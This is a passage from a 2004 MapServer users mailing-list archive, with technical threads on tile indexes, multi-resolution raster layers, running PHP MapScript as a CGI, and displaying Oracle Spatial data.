Mar 2004 15:50:12 +0000 Subject: [Mapserver-users] Abstract TILEINDEX attribute to support any vector format? Message-ID: <20040318154949.GD18295@truffles.geodata.soton.ac.uk> Dear All, As I understand it the TILEINDEX attribute of a layer object can only refer to a shapefile. I'm involved in building a mapscript application that, from an architectural perspective, would benefit from being able to specify a tileindex held in a postgis datasource. Is this an enhancement worth pursuing or are there practical limitations that would make it undesirable? I'm imagining a situation where the datasource for the tileindex is abstracted to enable any vector datasource supported by mapserver to be used. Conceptually this could be achieved by creating a TILEINDEX object within a layer that supports the standard connection attributes: TILEINDEX TILEITEM "Location" CONNECTIONTYPE postgis CONNECTION "user=me password=secret dbname=mapserver host=localhost" DATA "polygon from tileindex" END In a separate but related vein connections to non-shapefile data sources currently need to be repeated for each layer, even if they refer to the same source. I often find, for example, that the CONNECTION strings and CONNECTIONTYPEs for my layers refer to the same postgis database. This can lead to errors and overhead when the connection changes. Being able to specify the application's datasources (one or more) in the map object seems to make more sense to me. Something like: DATASOURCE NAME default SHAPEPATH "/path/to/data" END DATASOURCE NAME postgis_1 CONNECTIONTYPE postgis CONNECTION "user=me password=secret dbname=mapserver host=localhost" END Then in each layer we only need to specify the data source name. The DATA attribute would remain the same: DATASOURCE postgis_1 DATA "the_geom from my_table" Some mechanism for specifying the default datasource could be provided, such as the first DATASOURCE in the mapfile, or more explicity (e.g. with attributes). If a layer does not specify a DATASOURCE attribute then it could be assumed to be from the default datasource. This would make upgrading mapfiles to a new syntax less trouble. Thoughts? Kind regards, Homme Zwaagstra From cz_toh at yahoo.com Thu Mar 18 07:52:46 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Thu, 18 Mar 2004 15:52:46 +0000 (GMT) Subject: [Mapserver-users] Question about wld/gfw file {Scanned} In-Reply-To: Message-ID: <20040318155246.31942.qmail@web14010.mail.yahoo.com> So the dimensions of the image is just the size I am using a precomplied Binary on WinXP ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From bob.basques at ci.stpaul.mn.us Thu Mar 18 08:01:06 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Thu, 18 Mar 2004 10:01:06 -0600 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3FFF@mercator.topozone.com> References: <13858AA1A74F30419F319ACB66A9D1224E3FFF@mercator.topozone.com> Message-ID: <4059C7C2.2030208@ci.stpaul.mn.us> Ed McNierney wrote: > Bob - > > You can use GDAL to create TIFF overviews and produce the same effect > (multiple resolutions stored in one file) without the expense or > overhead of MrSID. Your performance should be essentially identical > to using the multiple-LAYER approach. > I already have systems for generating the seperate tiles at each Level of resolution. The ranges are fairly extreme for the number of tiles per resolution level. 9000+ tiles at 1/2 foot per pixel down to ~16 tiles at 16 feet per pixel I'm not sure how the performance can be increased at the server (intranet installation, which typically means optimizing the server vs the file transfers) using a combined lookup of some sort. bobb > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > > ------------------------------------------------------------------------ > *From:* blammo [mailto:bob.basques at ci.stpaul.mn.us] > *Sent:* Thursday, March 18, 2004 9:06 AM > *Cc:* Mapserver List > *Subject:* Re: [Mapserver-users] Just call me a newbie . . . multiple > Raster LAYERs question {Scanned} {Scanned} > > Siki Zoltan wrote: > >>Hi, >> >>On Wed, 17 Mar 2004, Bob Basques wrote: >> >> >> >>>All, >>> >>>Let's say I have Six different levels of resolution of Aerial Photo's >>>all of them having the same coverage extents. >>> >>> >>> >>> >> >>It won't work. >>You should create six tile index and six layer and set MINSCALE and >>MAXSCALE for them to turn the best one for a scale. You can add them to >>the same group, so you can easily turn them on and off through the group >>name. >> >> > I got it to work as you (and others) described with seperate layers > and using the GROUP option. > >>An other solution may be the sid format (may be the ecw to). >>As far as I know ecw is supported in the nightly built version. >>As far as I know MrSid is not supported :( >>These format can contain multi resolution image sources, that case you can >>use the six different resolution tile as one image, that case no need for >>tileindex. >> >> > In my experience the MRSID option is too slow to render, I believe the > performance is (much) better using the seperate resolutions as LAYERS. > > bobb > From kevin.mcglynn at mapfusion.com Thu Mar 18 08:15:54 2004 From: kevin.mcglynn at mapfusion.com (Kevin McGlynn) Date: Thu, 18 Mar 2004 11:15:54 -0500 Subject: [Mapserver-users] upper case labels Message-ID: <00f501c40d04$4a270d00$ce01a8c0@mapfusion.com> Hello, I am struggling with implementing labels and have jumped over a few hurdles so far. What is the easiest way to implement upper case only labels? thanks Kevin McGlynn From ed at topozone.com Thu Mar 18 08:22:41 2004 From: ed at topozone.com (Ed McNierney) Date: Thu, 18 Mar 2004 11:22:41 -0500 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4004@mercator.topozone.com> Bob - I'm surprised that you report bad experiences with TIFF imagery. In many respects, TIFF is the best uncompressed format to use for imagery. I've got about 21 terabytes of it, all running under MapServer. If you already have the data generated at multiple resolutions then I don't think the GDAL approach will help much. It really is simply a different way of doing the same thing - prebuild the data at multiple resolutions and preselect the most appropriate source. GDAL has the benefit of storing the entire image pyramid in one TIFF file, which makes file management and mapfile management easier, and it also automatically chooses the best source resolution for each request, so you don't need to calculate MINSCALE/MAXSCALE values. The disadvantages are less flexibility in the resampling options (you can choose from several GDAL algorithms, but you have to choose one of them), inability to use externally-resampled images, files that are less suitable for redistribution to others because they're larger (may or may not be important), and less flexibility in adding/deleting resampled levels. But either way, TIFF images should be an excellent choice for storing imagery. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Bob Basques [mailto:bob.basques at ci.stpaul.mn.us] Sent: Thursday, March 18, 2004 11:01 AM To: Mapserver List Subject: Re: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} Ed McNierney wrote: > Bob - > > You can use GDAL to create TIFF overviews and produce the same effect > (multiple resolutions stored in one file) without the expense or > overhead of MrSID. Your performance should be essentially identical > to using the multiple-LAYER approach. > I already have systems for generating the seperate tiles at each Level of resolution. The ranges are fairly extreme for the number of tiles per resolution level. 9000+ tiles at 1/2 foot per pixel down to ~16 tiles at 16 feet per pixel I'm not sure how the performance can be increased at the server (intranet installation, which typically means optimizing the server vs the file transfers) using a combined lookup of some sort. bobb > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > > ---------------------------------------------------------------------- > -- > *From:* blammo [mailto:bob.basques at ci.stpaul.mn.us] > *Sent:* Thursday, March 18, 2004 9:06 AM > *Cc:* Mapserver List > *Subject:* Re: [Mapserver-users] Just call me a newbie . . . multiple > Raster LAYERs question {Scanned} {Scanned} > > Siki Zoltan wrote: > >>Hi, >> >>On Wed, 17 Mar 2004, Bob Basques wrote: >> >> >> >>>All, >>> >>>Let's say I have Six different levels of resolution of Aerial Photo's >>>all of them having the same coverage extents. >>> >>> >>> >>> >> >>It won't work. >>You should create six tile index and six layer and set MINSCALE and >>MAXSCALE for them to turn the best one for a scale. You can add them >>to the same group, so you can easily turn them on and off through the >>group name. >> >> > I got it to work as you (and others) described with seperate layers > and using the GROUP option. > >>An other solution may be the sid format (may be the ecw to). >>As far as I know ecw is supported in the nightly built version. >>As far as I know MrSid is not supported :( These format can contain >>multi resolution image sources, that case you can use the six >>different resolution tile as one image, that case no need for >>tileindex. >> >> > In my experience the MRSID option is too slow to render, I believe the > performance is (much) better using the seperate resolutions as LAYERS. > > bobb > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From m.cave-ayland at webbased.co.uk Thu Mar 18 08:43:53 2004 From: m.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Thu, 18 Mar 2004 16:43:53 -0000 Subject: [Mapserver-users] Using PHP as CGI when compiled as DSO In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE51CCEDE@openmanage> Message-ID: <8F4A22E017460A458DB7BBAB65CA6AE502659B@openmanage> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Jason Thaxter > Sent: 17 March 2004 18:37 > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Using PHP as CGI when compiled as DSO > > > > Yet another way to run PHP CGI when compiled as a DSO and/or > free-standing language (but not as a CGI). > > As usual: > In httpd.conf: > Action phtml-script /cgi-bin/php > AddHandler phtml-script .phtml > > This assumes that /cgi-bin is a ScriptAlias'd directory, e.g.: > ScriptAlias /cgi-bin/ /path/to/cgi-bin > > But: > In the CGI directory, make php the following script: > #!/bin/sh > php -f $PATH_TRANSLATED > > This assumes that php can be found in the $PATH under which > Apache runs. Make > it: > /path/to/your/php -f $PATH_TRANSLATED > if in doubt... > > I'm adding a note to the Wiki. Hopefully this Wiki page will > keep evolving for as long as PHP mapscript cannot run as a module. > > Jason Hi Jason, Thanks for the hint! I couldn't get this to work as described above as I found that PHP outputted headers and then appeared to barf :(. After a lot of heartache, I found that I had to correct the SCRIPT_FILENAME CGI parameter before it would work for me. My eventual CGI file looked like this: #!/bin/sh export SCRIPT_FILENAME=$PATH_TRANSLATED EXEC="/usr/bin/php -f $PATH_TRANSLATED" $EXEC After making this change, everything suddenly came to life. I don't know if there was anything peculiar about the compile options which I should have noticed that caused this problem, but the box was running RedHat 7.2 with Apache 1.3 and PHP 4.3.3. Cheers, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. From blammo at airstreamcomm.net Thu Mar 18 09:00:25 2004 From: blammo at airstreamcomm.net (blammo) Date: Thu, 18 Mar 2004 11:00:25 -0600 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4004@mercator.topozone.com> References: <13858AA1A74F30419F319ACB66A9D1224E4004@mercator.topozone.com> Message-ID: <4059D5A9.9050908@airstreamcomm.net> Ed McNierney wrote: >Bob - > >I'm surprised that you report bad experiences with TIFF imagery. In >many respects, TIFF is the best uncompressed format to use for imagery. >I've got about 21 terabytes of it, all running under MapServer. > > I don't have quite that much (yet) to distribute, only around 100 gig's right now, more coming in every daua though it seems :c) >If you already have the data generated at multiple resolutions then I >don't think the GDAL approach will help much. It really is simply a >different way of doing the same thing - prebuild the data at multiple >resolutions and preselect the most appropriate source. > > I have multiple LAYERS (20 so far) that all use the same resoltuion scheming process, so it very easy to program against, especially for optimized applications. >GDAL has the benefit of storing the entire image pyramid in one TIFF >file, which makes file management and mapfile management easier, and it >also automatically chooses the best source resolution for each request, >so you don't need to calculate MINSCALE/MAXSCALE values. > > I had though about using MapServer at some point as a strictly Image generation engine with somew sort of storage scheme (like the pyramid) to store things on the server side. Still investigating things at this point, all of the suggestions are being considered. >The disadvantages are less flexibility in the resampling options (you >can choose from several GDAL algorithms, but you have to choose one of >them), inability to use externally-resampled images, files that are less >suitable for redistribution to others because they're larger (may or may >not be important), and less flexibility in adding/deleting resampled >levels. > > I do like having the ability to forego MapServer entirely (many of our existing services only have a ~100 line PERL cgi to run the outputs with, with no (Map) server like piece in the way. All the tiles are pre-processed, and the CGI simply positions them in the browser appropriately with DHTML >But either way, TIFF images should be an excellent choice for storing >imagery. > > I also have some RASTER version of line work that I'm not convinced would work well as TIFF's Especially the transparent aspects and control options, like those available for PNGs for example. Here is a simple interface (production I'm embarrassed to admit) that show a couple of these layers in action (without Mapserver at the moment): http://pwultra5.ci.stpaul.mn.us/cgi-bin/drill/ped.02.pl?bbox=562820.444444444%2C152375.333333333%2C564332.444444444%2C153527.333333333&size=756%2C576&pick.x=542&pick.y=349 It's key benefit is that it is very, very easy to manage since it's just a set of files on the server, and a single CGI script that make the page. It doesn't even have a zoom out function applied to it yet, but everyone likes the resource for reference lookups. It's also tied into a couple of Address lookup routines as well. Balancing something like this against learning MapServer (or any other service type package) is a tricky piece of the equation in my mind. The advanced functions available with MapServer allow for a lot of end user enhancement in my mind. That's why I'm moving many of these services over to MapServer. bobb From thaxter at gomoos.org Thu Mar 18 09:02:44 2004 From: thaxter at gomoos.org ('Jason Thaxter') Date: Thu, 18 Mar 2004 12:02:44 -0500 Subject: [Mapserver-users] Using PHP as CGI when compiled as DSO In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE502659B@openmanage> References: <8F4A22E017460A458DB7BBAB65CA6AE51CCEDE@openmanage> <8F4A22E017460A458DB7BBAB65CA6AE502659B@openmanage> Message-ID: <20040318170244.GD34433@whitehead.gomoos.org> I learned a bit more after I wrote this: check out my note on the wiki re sapi/cgi/cgi_main.c: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScriptCGI There are *definitely* compile options involved in this problem. --enable-discard-path is implicated, and there ifdefs for PHP_FASTCGI and ENABLE_PATHINFO_CHECK that can fix the issue. Here's an excellent explanation of the cause: http://www.zend.com/lists/php-dev/200211/msg01353.html It's not much of a leap to see that the problem was fixed a long time ago, and package maintainers have occasionally gotten flummoxed by the options that enable or disable the code. jason On Thu, Mar 18, 2004 at 04:43:53PM -0000, Mark Cave-Ayland wrote: > > Hi Jason, > > Thanks for the hint! I couldn't get this to work as described above as I > found that PHP outputted headers and then appeared to barf :(. After a > lot of heartache, I found that I had to correct the SCRIPT_FILENAME CGI > parameter before it would work for me. My eventual CGI file looked like > this: > > #!/bin/sh > export SCRIPT_FILENAME=$PATH_TRANSLATED > EXEC="/usr/bin/php -f $PATH_TRANSLATED" > $EXEC > > After making this change, everything suddenly came to life. I don't know > if there was anything peculiar about the compile options which I should > have noticed that caused this problem, but the box was running RedHat > 7.2 with Apache 1.3 and PHP 4.3.3. > > > Cheers, > > Mark. > > --- > > Mark Cave-Ayland > Webbased Ltd. > Tamar Science Park > Derriford > Plymouth > PL6 8BX > England > > Tel: +44 (0)1752 764445 > Fax: +44 (0)1752 764446 > > > This email and any attachments are confidential to the intended > recipient and may also be privileged. If you are not the intended > recipient please delete it from your system and notify the sender. You > should not copy it or use it for any purpose nor disclose or distribute > its contents to any other person. > > -- ---------------------------------------------- Jason Thaxter GoMOOS, P.O. Box 4919, Portland, ME 04112-4919 Office Location: 1 Canal Plaza, 7th Floor Office: 207.773.0423 Fax: 207.773.8672 Email: thaxter at gomoos.org ------------www.gomoos.org-------------------- From simon at inf.univali.br Thu Mar 18 09:45:09 2004 From: simon at inf.univali.br (Fernando S.) Date: Thu, 18 Mar 2004 14:45:09 -0300 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial In-Reply-To: <00d901c40cec$c7869e40$bc03a8c0@twoflower> References: <007a01c40c38$100ff680$bc03a8c0@twoflower> <405886EC.2040902@inf.univali.br> <00d901c40cec$c7869e40$bc03a8c0@twoflower> Message-ID: <4059E025.9030606@inf.univali.br> This is a multi-part message in MIME format. --------------040103000208020308010306 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit Jiri, I believe that you need a quickly report. Well, if you execute a CGI call to mapserv, what's happen? Can you see any image with db data? Try to execute the same query in SQLPLUS, SELECT BOUNDARY FROM PARCELS. What the sqplus report? Can you report one complete line that sql report? Like this: SQL> select shape from cola_markets; SHAPE(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, SDO_ORDINATES) -------------------------------------------------------------------------------- SDO_GEOMETRY(2003, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1003, 3), SDO_ORDINATE_ARR AY(1, 1, 5, 7)) What kind of geometry report? 2003?, 3003? If it's report 300X, this is the problem, when you import the data using loader, it import with type 300X (if you have this type of shape), the mapserv can't show this type. Only 100x or 200x. When you convert your shape to sdo, what command you execute? I use this ( I didn't use SRID in this example): shp2sdo.exe -o
Legende
 > > >
> Legende
> >
>
Legende
-g -d -x (-180,180) -y (-90,90) -v And after don't forget to execute this function (select sdo_tune.extent_of('table with geometry_column', 'geometry_columns') from dual;) Well, here we developer one project tha use all of informations, (user datas, shapes, user points) from Oracle. Look in this link (http://g10novo.cttmar.univali.br/gtznovo/principal.php). If you need some help, you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa?a~o Aplicada Fone: 047 - 341 7960 http://g10.cttmar.univali.br ================================================================== Jiri Potocny wrote: >Fernando, > >thank you for your hints. > >I used Oracle SQL loader utility to import the data: >SQLLDR uid/pwd at srvcname control=parcely log=parcely.log >The data were stored in comma separated value text file in the format like >this: >4|777777||"1"|1|3007| >|pt||||1|1003|1|;-554984,87|-1285550,04|0|-554998,75|-1285529,3200000001|0|- >555001,98999999999|-1285530,8100000001|0|-554984,87|-1285550,04|0|:1|02/13/2 >004 00:00:00|| > >Anyway, I tried to execute SDO_MIGRATE.TO_CURRENT(' TABLE ',' >GEOMETRY_COLUMN '), but the problem remains. > >Regards, >Jirka > >P.S. Your English is perfect enough for this purposes, no need to >appologize. > >----- Original Message ----- >From: Fernando S. >To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu >Sent: Wednesday, March 17, 2004 6:12 PM >Subject: Re: [Mapserver-users] Unable to display data stored in Oracle >Spatial > > >Hi Jiri, > I don't know if I can help you. But I will try. > I need to do some questions to help you: > How you imported the data to Oracle? > Using shp2sdo? If yes, after you imported the data, did you execute >this function: > SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '); > If you create a table with geometry columns, and populate it, and >try show it in the mapserv? It appeared in the image? > > I don't know if I help you, sorry my poor english. > If you need some help, you can report me. > >================================================================== >Fernando Simon - simon at cttmar.univali.br >================================================================== >DataBase Manager, Mapserver, OracleSpatial and PostGis Developer >G10 - Laborat?rio de Computa?ao Aplicada >Fone: 047 - 341 7960 >http://g10.cttmar.univali.br >================================================================== > >Jiri Potocny wrote: >Dear MapServer experts, > >could you please help me with following problem? > >I'm trying to display data strored in Oracle Spatial, but I allways get a >blank map. >The map file is as follows: > >MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > IMAGECOLOR 255 255 255 > > LAYER > NAME parcels > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > > CONNECTIONTYPE oraclespatial > CONNECTION username/password at netservisname > DATA "BOUNDARY FROM PARCELS" > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > >END > >If I export the data from oracle into the shapefile and use following map >file, everything is O.K. > >MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > LAYER > NAME parcely > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > DATA PARCELS > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > >END > >The only difference is in the data source, the data (attributes as well as >geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial >support (downloaded from >http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and >Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. > >Could anybody get throught this problem. > >Much appreciated, >Jirka > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --------------040103000208020308010306 Content-Type: text/html; charset=ISO-8859-2 Content-Transfer-Encoding: 8bit Jiri,
??? I believe that you need a quickly report. Well, if you execute a CGI call to mapserv, what's happen? Can you see any image with db data?
??? Try to execute the same query in SQLPLUS, SELECT BOUNDARY FROM PARCELS. What the sqplus report? Can you report one complete line that sql report? Like this:

SQL> select shape from cola_markets;

SHAPE(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, SDO_ORDINATES)
--------------------------------------------------------------------------------
SDO_GEOMETRY(2003, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1003, 3), SDO_ORDINATE_ARR
AY(1, 1, 5, 7))

??? What kind of geometry report? 2003?, 3003? If it's report 300X, this is the problem, when you import the data using loader, it import with type 300X (if you have this type of shape), the mapserv can't show this type. Only 100x or 200x.
???? When you convert your shape to sdo, what command you execute? I use this ( I didn't use SRID in this example):
??? ??? shp2sdo.exe -o <SHAPE> <TABLE> -g <GEOMETRY_COLUMNS> -d -x (-180,180) -y (-90,90) -v
??? And after don't forget to execute this function (select sdo_tune.extent_of('table with geometry_column', 'geometry_columns') from dual;)
?
??? Well, here we developer one project tha use all of informations, (user datas, shapes, user points) from Oracle. Look in this link (http://g10novo.cttmar.univali.br/gtznovo/principal.php).


??? If you need some help, you can report me.

==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laborat?rio de Computa?ão Aplicada
Fone: 047 - 341 7960
http://g10.cttmar.univali.br
==================================================================

Jiri Potocny wrote: 
Fernando,

thank you for your hints.

I used Oracle SQL loader utility to import the data:
SQLLDR  uid/pwd at srvcname control=parcely log=parcely.log
The data were stored in comma separated value text file in the format like
this:
4|777777||"1"|1|3007|
|pt||||1|1003|1|;-554984,87|-1285550,04|0|-554998,75|-1285529,3200000001|0|-
555001,98999999999|-1285530,8100000001|0|-554984,87|-1285550,04|0|:1|02/13/2
004 00:00:00||

Anyway, I tried to execute SDO_MIGRATE.TO_CURRENT(' TABLE ','
GEOMETRY_COLUMN '), but the problem remains.

Regards,
Jirka

P.S. Your English is perfect enough for this purposes, no need to
appologize.

----- Original Message -----
From: Fernando S.
To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu
Sent: Wednesday, March 17, 2004 6:12 PM
Subject: Re: [Mapserver-users] Unable to display data stored in Oracle
Spatial


Hi Jiri,
    I don't know if I can help you. But I will try.
    I need to do some questions to help you:
        How you imported the data to Oracle?
        Using shp2sdo? If yes, after you imported the data, did you execute
this function:
            SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN ');
         If you create a table with geometry columns, and populate it, and
try show it in the mapserv? It appeared in the image?

    I don't know if I help you, sorry my poor english.
    If you need some help, you can report me.

==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laborat?rio de Computa?ao Aplicada
Fone: 047 - 341 7960
http://g10.cttmar.univali.br
==================================================================

Jiri Potocny wrote:
Dear MapServer experts,

could you please help me with following problem?

I'm trying to display data strored in Oracle Spatial, but I allways get a
blank map.
The map file is as follows:

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcels
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON

    CONNECTIONTYPE oraclespatial
    CONNECTION     username/password at netservisname
    DATA           "BOUNDARY FROM PARCELS"

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

If I export the data from oracle into the shapefile and use following map
file, everything is O.K.

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcely
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON
    DATA          PARCELS

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

The only difference is in the data source, the data (attributes as well as
geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial
support (downloaded from
http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and
Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3.

Could anybody get throught this problem.

Much appreciated,
Jirka

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

--------------040103000208020308010306-- From mh at svaj.dk Thu Mar 18 10:11:43 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Thu, 18 Mar 2004 19:11:43 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From bob.basques at ci.stpaul.mn.us Thu Mar 18 11:27:02 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Thu, 18 Mar 2004 13:27:02 -0600 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster [PNGs] LAYERs question In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4004@mercator.topozone.com> References: <13858AA1A74F30419F319ACB66A9D1224E4004@mercator.topozone.com> Message-ID: <4059F806.6030002@ci.stpaul.mn.us> Ok, Now I'm trying to do the same with PNG files with little success. The input tiles are PNG files with transparent alpha channel, like this one: http://pwultra5.ci.stpaul.mn.us/cp_tiles/2002_property/L1T/570000_160000_1000_12_2002_SAINT_PAUL.PNG with JPG tiles all I needed to add was the IMAGETYPE JPEG, and all was well. With the PNG's nothing seems to work. is there some special OUTPUTFORMAT that needs to be defined? I would rather just pass the same file type through like the JPG's did. Thanks bobb From djaimes at corponor.gov.co Thu Mar 18 11:38:36 2004 From: djaimes at corponor.gov.co (DANIEL JAIMES PALACIOS) Date: Thu, 18 Mar 2004 14:38:36 -0500 Subject: [Mapserver-users] =?iso-8859-1?Q?Fw:_Solicitud_de_informaci=F3n?= Message-ID: <005201c40d20$af5def60$1fc3c3c3@corponor> This is a multi-part message in MIME format. ------=_NextPart_000_004F_01C40CF6.B209EEA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ----- Original Message -----=20 From: DANIEL JAIMES PALACIOS=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Thursday, March 18, 2004 11:47 AM Subject: Fw: Solicitud de informaci=F3n ----- Original Message -----=20 From: DANIEL JAIMES PALACIOS=20 To: MAPSERVER-USERS at LIST.GIS.UMN.EDU=20 Sent: Thursday, March 18, 2004 11:41 AM Subject: Solicitud de informaci=F3n hola lista, soy nuevo, estoy utilizando mapserver para windows, = configure un mapa de un municipio con varios layers y perfecto, lo que = necesito es como puedo acceder a datos de una Base de Datos ORACLE desde = mapserver, que cuando le de click sobre el mapa me ejecute una consulta = a oracle en un servidor y me muestre dicha informaci=F3n. Gracias DANIEL JAIMES ------=_NextPart_000_004F_01C40CF6.B209EEA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
----- Original Message -----=20
From: DANIEL=20 JAIMES PALACIOS
Sent: Thursday, March 18, 2004 11:47 AM
Subject: Fw: Solicitud de informaci=F3n

 
----- Original Message -----=20
From: DANIEL=20 JAIMES PALACIOS
Sent: Thursday, March 18, 2004 11:41 AM
Subject: Solicitud de informaci=F3n

hola lista, soy nuevo, estoy utilizando = mapserver=20 para windows, configure un mapa de un municipio con varios layers y = perfecto, lo=20 que necesito es como puedo acceder a datos de una Base de Datos ORACLE = desde=20 mapserver, que cuando le de click sobre el mapa  me ejecute una = consulta a=20 oracle en un servidor y me muestre dicha informaci=F3n.
 
 
Gracias  DANIEL JAIMES=20
------=_NextPart_000_004F_01C40CF6.B209EEA0-- From gcondon at ll.mit.edu Thu Mar 18 12:55:51 2004 From: gcondon at ll.mit.edu (Gary Condon) Date: Thu, 18 Mar 2004 15:55:51 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: <20040318180004.19769.11292.Mailman@lists.gis.umn.edu> References: <20040318180004.19769.11292.Mailman@lists.gis.umn.edu> Message-ID: Lorenzo, Thanks for the info. I have a couple of questions ... - Where do you store the compiled php_mapscript.so? - Do you use PHP's dl() command to load the extension? If so, does it return anything? Also, does the extension_loaded() function return true? - Could you email a copy of your httpd.conf & php.ini files (and your php configure string if you have it)? I would be appreciative. Gary > Message: 43 > Date: Thu, 18 Mar 2004 15:22:08 +0100 > To: mapserver-users at lists.gis.umn.edu > From: Lorenzo Moretti > Subject: Re: [Mapserver-users] PHP MapScript on Mac OS X? > > I'm using MapServer-MapScript 4.0.1 under OSX 10.2.8. It works very > well and it's speed.... > > I have build mapserver/mapscript with PHP 4.3.3. Gdal is 1.1.9. I'm > working for a simple installer for all OS X users with last GDAL-OGR > 1.2.0 like my Grass Gis Complete on MAC OS X (see > http://wwwamb.bologna.enea.it/forgrass/ ). > It's possible to work with PHP/MapScript (.phtml suffix) toghether > with PHP for Apache (.php) with Apache under OS X. > > Now I have > /usr/local/php (normal php 4.3.3 for Apache) > /usr/local/php_cgi (all php 4.3.3 as CGI) > /WebServer/CGI-PHPMapServer (inside there is only a php link to > /usr/local/php_cgi/bin/php) > /WebServer/CGI-Executables (inside there is mapserv) > /sw (all libraries 